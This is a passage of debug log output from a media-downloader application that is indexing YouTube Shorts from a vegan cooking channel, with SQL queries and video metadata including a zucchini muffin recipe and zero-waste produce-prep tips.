s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:59.691 [debug] QUERY OK source="media_items" db=3.1ms idle=1006.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-02 19:23:40Z], 1] 20:30:59.693 [debug] QUERY OK source="media_items" db=1.6ms idle=1008.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re a fan of zucchini bread or muffins I think you will really love this recipe 😍 These muffins are the perfect combo of bright, fresh and fluffy with a surprising sweet crunch! \n\nSAVE THIS RECIPE FOR LATER! ✅ \n\nINGREDIENTS \n2 cups GF all purpose flour \n1 tbsp baking powder \n1/2 tsp b. Soda\n1 tsp cardamom \n1/4 tsp nutmeg \n3/4 cups coconut sugar\n1/2 tsp salt \n1 cup shredded zucchini (1 small)\n1 mashed banana (1 medium)\nZest of 1 orange \n2 flax eggs \n1/2 cup unsweetened plant milk \n1/4 Pomegranate seeds for topping \n\n1. Add all the wet ingredients to a\u00A0\u00A0large mixing bowl. Give that mixture a good mix until everything is well combined and smooth. \n2. Add the finely shredded zucchini. Stir that in until you have a lumpy but still uniform liquid mixture.\n3. In a large mixing bowl, add the flour, coconut sugar, spices, salt, and baking powder and soda. Mix until everything is well combined. Pour in the wet mixture into the dry and give it a good stir until its well incorporated.\n4. Stir in the pom seeds.\n5. Lightly oil or line with parchment cups (if you’re oil-free) 12 medium muffin cups and bake for 27 minutes at 350º.\n\nIf you’ve never tried zucchini muffins, I’m telling ya you are in for a treat! 👌🏻 Zucchini makes muffins so fluffy and moist, plus the banana and orange adds a lovely bright sweetness, as do the pomegranate seeds. If you’re not the biggest fan of poms, you could use fresh or dried cranberries too, which I think would be fantastic. \nMay I also remind you that zucchinis are a vegetable.. so if you have kids that are picky eaters, this is a delicious and rather stealthy way to hide some veggies into a sweet treat. \n\nFOLLOW @steamyvegankitchen for more easy vegan recipes! \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusjc by Mark Generous - Orange and Pomegranate : https://thmatc.co/?l=B521F325", "🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free", "70856a61-1861-4b81-891d-ee0c4de0d308", 1, [], 60, false, "h6Svfk5luq4", "https://www.youtube.com/shorts/h6Svfk5luq4", 488, "/downloads/downloads/alec/Steamy Vegan/2022-04-02 🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free/🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free [h6Svfk5luq4].NA", false, false, true, 0, ~U[2022-04-02 19:23:40Z], ~U[2026-03-22 03:30:59Z], ~U[2026-03-22 03:30:59Z], "If you’re a fan of zucchini bread or muffins I think you will really love this recipe 😍 These muffins are the perfect combo of bright, fresh and fluffy with a surprising sweet crunch! \n\nSAVE THIS RECIPE FOR LATER! ✅ \n\nINGREDIENTS \n2 cups GF all purpose flour \n1 tbsp baking powder \n1/2 tsp b. Soda\n1 tsp cardamom \n1/4 tsp nutmeg \n3/4 cups coconut sugar\n1/2 tsp salt \n1 cup shredded zucchini (1 small)\n1 mashed banana (1 medium)\nZest of 1 orange \n2 flax eggs \n1/2 cup unsweetened plant milk \n1/4 Pomegranate seeds for topping \n\n1. Add all the wet ingredients to a\u00A0\u00A0large mixing bowl. Give that mixture a good mix until everything is well combined and smooth. \n2. Add the finely shredded zucchini. Stir that in until you have a lumpy but still uniform liquid mixture.\n3. In a large mixing bowl, add the flour, coconut sugar, spices, salt, and baking powder and soda. Mix until everything is well combined. Pour in the wet mixture into the dry and give it a good stir until its well incorporated.\n4. Stir in the pom seeds.\n5. Lightly oil or line with parchment cups (if you’re oil-free) 12 medium muffin cups and bake for 27 minutes at 350º.\n\nIf you’ve never tried zucchini muffins, I’m telling ya you are in for a treat! 👌🏻 Zucchini makes muffins so fluffy and moist, plus the banana and orange adds a lovely bright sweetness, as do the pomegranate seeds. If you’re not the biggest fan of poms, you could use fresh or dried cranberries too, which I think would be fantastic. \nMay I also remind you that zucchinis are a vegetable.. so if you have kids that are picky eaters, this is a delicious and rather stealthy way to hide some veggies into a sweet treat. \n\nFOLLOW @steamyvegankitchen for more easy vegan recipes! \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusjc by Mark Generous - Orange and Pomegranate : https://thmatc.co/?l=B521F325", "🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free", 1, 60, false, "h6Svfk5luq4", "https://www.youtube.com/shorts/h6Svfk5luq4", "/downloads/downloads/alec/Steamy Vegan/2022-04-02 🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free/🍊ORANGE POMEGRANATE ZUCCHINI MUFFINS | vegan + gluten free [h6Svfk5luq4].NA", true, ~U[2022-04-02 19:23:40Z]] 20:30:59.694 [debug] QUERY OK source="sources" db=0.4ms idle=960.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:59.695 [debug] QUERY OK source="media_profiles" db=0.7ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:59.696 [debug] QUERY OK source="media_items" db=0.5ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [877] 20:30:59.696 [debug] Current batch of media processed. Will check again in 1000ms 20:31:00.441 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:00.698 [debug] Current batch of media processed. Will check again in 1000ms 20:31:01.700 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-01 ROASTED POBLANO PEPPER PESTO 🫑/ROASTED POBLANO PEPPER PESTO 🫑 [ozY6Wm4Pk1g].NA", "id" => "ozY6Wm4Pk1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ozY6Wm4Pk1g", "playlist_index" => 489, "timestamp" => 1648773394, "title" => "ROASTED POBLANO PEPPER PESTO 🫑", "upload_date" => "20220401"} 20:31:01.704 [debug] QUERY OK source="sources" db=3.8ms queue=0.1ms idle=962.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:31:01.706 [debug] QUERY OK source="sources" db=0.7ms idle=115.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:01.710 [debug] QUERY OK source="media_items" db=3.8ms idle=116.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-01 00:36:34Z], 1] 20:31:01.713 [debug] QUERY OK source="media_items" db=2.6ms idle=120.9ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ROASTED POBLANO PEPPER PESTO 🫑", "e838765c-7c77-48b5-8263-28b000d846a9", 1, [], 59, false, "ozY6Wm4Pk1g", "https://www.youtube.com/shorts/ozY6Wm4Pk1g", 489, "/downloads/downloads/alec/Steamy Vegan/2022-04-01 ROASTED POBLANO PEPPER PESTO 🫑/ROASTED POBLANO PEPPER PESTO 🫑 [ozY6Wm4Pk1g].NA", false, false, true, 0, ~U[2022-04-01 00:36:34Z], ~U[2026-03-22 03:31:01Z], ~U[2026-03-22 03:31:01Z], "", "ROASTED POBLANO PEPPER PESTO 🫑", 1, 59, false, "ozY6Wm4Pk1g", "https://www.youtube.com/shorts/ozY6Wm4Pk1g", "/downloads/downloads/alec/Steamy Vegan/2022-04-01 ROASTED POBLANO PEPPER PESTO 🫑/ROASTED POBLANO PEPPER PESTO 🫑 [ozY6Wm4Pk1g].NA", true, ~U[2022-04-01 00:36:34Z]] 20:31:01.717 [debug] QUERY OK source="sources" db=4.1ms idle=123.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:01.718 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.3ms idle=13.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:01.719 [debug] QUERY OK source="media_items" db=0.4ms idle=12.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [878] 20:31:01.722 [debug] Current batch of media processed. Will check again in 1000ms 20:31:02.723 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "NO-WASTE PRODUCE PREP! Part 2 🔪🫑🥕\n\nKeep your veggies close, and your scraps closer 😍\n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of green onions? Wash and finely dice and keep in a sealable bag or container in your fridge with it slightly opened - this provides air flow and prevents sliminess!\n2. Regrow your green onions! Place the bottom 2-3 inches in a glass of water roots down - place near a window and watch them regrow in literally HOURS 🤯\n3. Radishes always go slimy fast? Wash and dry them right away - place in a sealable bag or container - stay fresh for ages! Wash the radish greens and use for a waste-free pesto 🌱\n4. Bought a HUGE bag of carrots? Keep them in a large container filled with fresh water - will stay crunchy and fresh for WEEKS! Change water once a week 😉\n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes! 😊\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-03-15 ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕/ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕 [NrSPYiNclh0].NA", "id" => "NrSPYiNclh0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/NrSPYiNclh0", "playlist_index" => 490, "timestamp" => 1647359638, "title" => "ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕", "upload_date" => "20220315"} 20:31:02.725 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1011.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:31:02.726 [debug] QUERY OK source="sources" db=0.8ms idle=1007.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:02.728 [debug] QUERY OK source="media_items" db=2.4ms idle=1007.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-15 15:53:58Z], 1] 20:31:02.730 [debug] QUERY OK source="media_items" db=1.4ms idle=1009.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["NO-WASTE PRODUCE PREP! Part 2 🔪🫑🥕\n\nKeep your veggies close, and your scraps closer 😍\n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of green onions? Wash and finely dice and keep in a sealable bag or container in your fridge with it slightly opened - this provides air flow and prevents sliminess!\n2. Regrow your green onions! Place the bottom 2-3 inches in a glass of water roots down - place near a window and watch them regrow in literally HOURS 🤯\n3. Radishes always go slimy fast? Wash and dry them right away - place in a sealable bag or container - stay fresh for ages! Wash the radish greens and use for a waste-free pesto 🌱\n4. Bought a HUGE bag of carrots? Keep them in a large container filled with fresh water - will stay crunchy and fresh for WEEKS! Change water once a week 😉\n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes! 😊\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕", "fb6f2862-3a2b-47e3-9644-714397da714d", 1, [], 60, false, "NrSPYiNclh0", "https://www.youtube.com/shorts/NrSPYiNclh0", 490, "/downloads/downloads/alec/Steamy Vegan/2022-03-15 ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕/ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕 [NrSPYiNclh0].NA", false, false, true, 0, ~U[2022-03-15 15:53:58Z], ~U[2026-03-22 03:31:02Z], ~U[2026-03-22 03:31:02Z], "NO-WASTE PRODUCE PREP! Part 2 🔪🫑🥕\n\nKeep your veggies close, and your scraps closer 😍\n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of green onions? Wash and finely dice and keep in a sealable bag or container in your fridge with it slightly opened - this provides air flow and prevents sliminess!\n2. Regrow your green onions! Place the bottom 2-3 inches in a glass of water roots down - place near a window and watch them regrow in literally HOURS 🤯\n3. Radishes always go slimy fast? Wash and dry them right away - place in a sealable bag or container - stay fresh for ages! Wash the radish greens and use for a waste-free pesto 🌱\n4. Bought a HUGE bag of carrots? Keep them in a large container filled with fresh water - will stay crunchy and fresh for WEEKS! Change water once a week 😉\n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes! 😊\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕", 1, 60, false, "NrSPYiNclh0", "https://www.youtube.com/shorts/NrSPYiNclh0", "/downloads/downloads/alec/Steamy Vegan/2022-03-15 ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕/ZERO WASTE PRODUCE PREP! Part 2 🧅🥬🥕 [NrSPYiNclh0].NA", true, ~U[2022-03-15 15:53:58Z]] 20:31:02.731 [debug] QUERY OK source="sources" db=0.6ms idle=990.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:02.732 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:02.733 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [879] 20:31:02.733 [debug] Current batch of media processed. Will check again in 1000ms 20:31:03.734 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "On Sundays I like to prep as many fruits and veggies as I can to be able to easily use them throughout the week with no fuss, and as little waste as possible. \n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of extra citrus fruits hanging around? Cut them into chunks and freeze them on a baking tray - transfer to a sealable bag or container - use them in smoothies, yogurt or vitamin water!\n2. What about those citrus peels? Place them in a jar - cover with white vinegar - seal tightly - store in cupboard for up to a week - remove peels and pour liquid into spray bottle with water and Castile soap = countertop cleaner! Check out @plantyou feed for her easy recipe!\n3. Wilting cilantro or other herbs? Chop of the last inch of the stems - place in a glass with a couple inches of water - keep in your fridge - stay fresh for much longer and will come right back to life if wilty!\n4. Abundance of asparagus? Chop off stalky wooden ends and place in jar of water and keep in your fridge - will stay fresher for longer!\n5. Floppy carrots or daikon radish? Peel and slice lengthwise and submerge completely in a jar of water and keep in the fridge - will firm right back up and stay fresh for weeks! \n\nFollow @steamyvegankitchen for more kitchen tips, hacks and easy vegan recipes!\n\n\n#steamyvegankitchen #steamyvegan #lowwastekitchen #foodwastewarriors #foodwastetips #saynotofoodwaste #peko #pekoproduce #yvr #yvrfoodie #vancouver #vancouver🇨🇦 #vancouverveganfood #vancouverveganscene #vancouvervegans", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-03-14 ZERO WASTE PRODUCE PREP! Part 1/ZERO WASTE PRODUCE PREP! Part 1 [yMZdQORVy6U].NA", "id" => "yMZdQORVy6U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yMZdQORVy6U", "playlist_index" => 491, "timestamp" => 1647298162, "title" => "ZERO WASTE PRODUCE PREP! Part 1", "upload_date" => "20220314"} 20:31:03.735 [debug] QUERY OK source="sources" db=0.3ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:31:03.736 [debug] QUERY OK source="sources" db=0.4ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:03.739 [debug] QUERY OK source="media_items" db=2.9ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-14 22:49:22Z], 1] 20:31:03.741 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["On Sundays I like to prep as many fruits and veggies as I can to be able to easily use them throughout the week with no fuss, and as little waste as possible. \n\nSAVE THESE TIPS FOR LATER! 👍🏻\n\n1. Lots of extra citrus fruits hanging around? Cut them into chunks and freeze them on a baking tray - transfer to a sealable bag or container - use them in smoothies, yogurt or vitamin water!\n2. What about those citrus peels? Place them in a jar - cover with white vinegar - seal tightly - store in cupboard for up to a week - remove peels and pour liquid into spray bottle with water and Castile soap = countertop cleaner! Check out @plantyou feed for her easy recipe!\n3. Wilting 